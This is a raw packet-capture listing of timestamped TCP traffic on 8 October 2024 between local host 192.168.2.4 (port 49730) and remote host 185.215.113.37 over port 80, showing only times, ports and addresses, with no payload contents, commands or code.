Oct 8, 2024 08:22:12.512537956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.512552977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.512567043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.512571096 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.512573004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.512588978 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.512590885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.512612104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.512643099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.512649059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.512649059 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.512671947 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.512681007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.512693882 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.512706995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.512725115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.512753010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.512765884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.512773991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.512788057 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.512795925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.512810946 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.512833118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.512862921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.562483072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.562491894 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.562516928 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.562524080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.562541962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.562557936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.562566042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.562570095 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.562582016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.562598944 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.562599897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.562608957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.562616110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.562619925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.562623978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.562633038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.562637091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.562654018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.562658072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.562676907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.562694073 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.562717915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.562762976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.562777042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.562783957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.562791109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.562803984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.562810898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.562820911 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.562876940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.562876940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.562899113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.562906027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.562921047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.562928915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.562966108 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.562998056 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.563013077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563020945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563035011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563043118 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563079119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.563112020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.563147068 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563154936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563169003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563177109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563184023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563198090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563205957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563213110 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563216925 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.563221931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563239098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.563256025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563267946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.563332081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.563374043 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563381910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563405991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563412905 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563421011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563422918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.563436031 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563447952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.563473940 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.563497066 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.563507080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563524008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563539028 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563545942 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563553095 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563568115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563575029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563579082 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.563601971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.563618898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.563642025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563649893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563693047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563700914 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563707113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.563735008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.563755035 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563761950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563775063 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563781977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563796997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563811064 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.563843966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.563843966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.563929081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563936949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563951015 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563957930 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563966036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563973904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563980103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.563987970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.564018011 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.599462032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.599524021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.599531889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.599546909 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.599569082 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.599576950 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.599586964 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.599620104 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.599647045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.599654913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.599662066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.599708080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.599739075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.599752903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.599762917 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.599771023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.599801064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.599807978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.599811077 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.599816084 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.599832058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.599848986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.599877119 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.599895954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.599951982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.599960089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.599975109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.599981070 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.599988937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600003004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600016117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.600034952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.600040913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600048065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600055933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600055933 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.600064993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600099087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.600099087 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.600111008 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600119114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600125074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600136042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600162029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.600192070 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.600301981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600308895 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600316048 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600330114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600337982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600352049 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600362062 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600367069 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600378036 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.600380898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600387096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600408077 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600415945 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600423098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.600423098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.600460052 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.600497007 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600505114 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600521088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600528002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600534916 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600559950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.600559950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.600591898 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.600617886 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600625992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600639105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600646019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600661993 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600668907 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.600672960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.600693941 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.600740910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.650026083 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650033951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650054932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650063038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650068998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650075912 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650090933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650115013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.650155067 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650161982 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650166988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.650177002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650185108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650192022 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650213003 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.650245905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.650265932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650273085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650286913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650294065 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650300026 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650327921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.650360107 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.650376081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650383949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650392056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650398016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650413990 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650424004 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650441885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650454044 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.650485992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.650485992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.650495052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650504112 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650517941 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650551081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.650582075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.650629044 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650636911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650651932 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650660992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650674105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650681019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650686979 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.650698900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650708914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.650738955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.650738955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.650747061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650762081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650785923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650794029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650794029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.650815010 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.650844097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.650861979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650870085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650883913 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650892019 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650906086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650934935 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.650935888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.650958061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.650971889 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.650980949 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.651015997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.651022911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.651029110 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.651071072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.651160955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.651168108 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.651181936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.651190042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.651204109 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.651211023 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.651215076 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.651225090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.651232958 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.651236057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.651247025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.651257038 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.651273966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.651299953 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.651313066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.651319981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.651334047 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.651350975 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.651365042 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.651367903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.651375055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.651391029 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.651413918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.651413918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.651413918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.651424885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.651436090 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.651487112 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.686774969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.686901093 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.727932930 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.732775927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.946063995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.946073055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.946079016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.946101904 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.946105957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.946115971 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.946120977 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.946134090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.946142912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.946193933 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.946204901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.946221113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.946221113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.946238041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.946244955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.946249962 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.946253061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.946273088 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.946274042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.946280003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.946285009 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.946290016 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.946295023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.946311951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.946338892 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.946391106 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.946397066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 8, 2024 08:22:12.946430922 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 8, 2024 08:22:12.946441889 CEST	80	49730	185.215.113.37	192.168.2.4
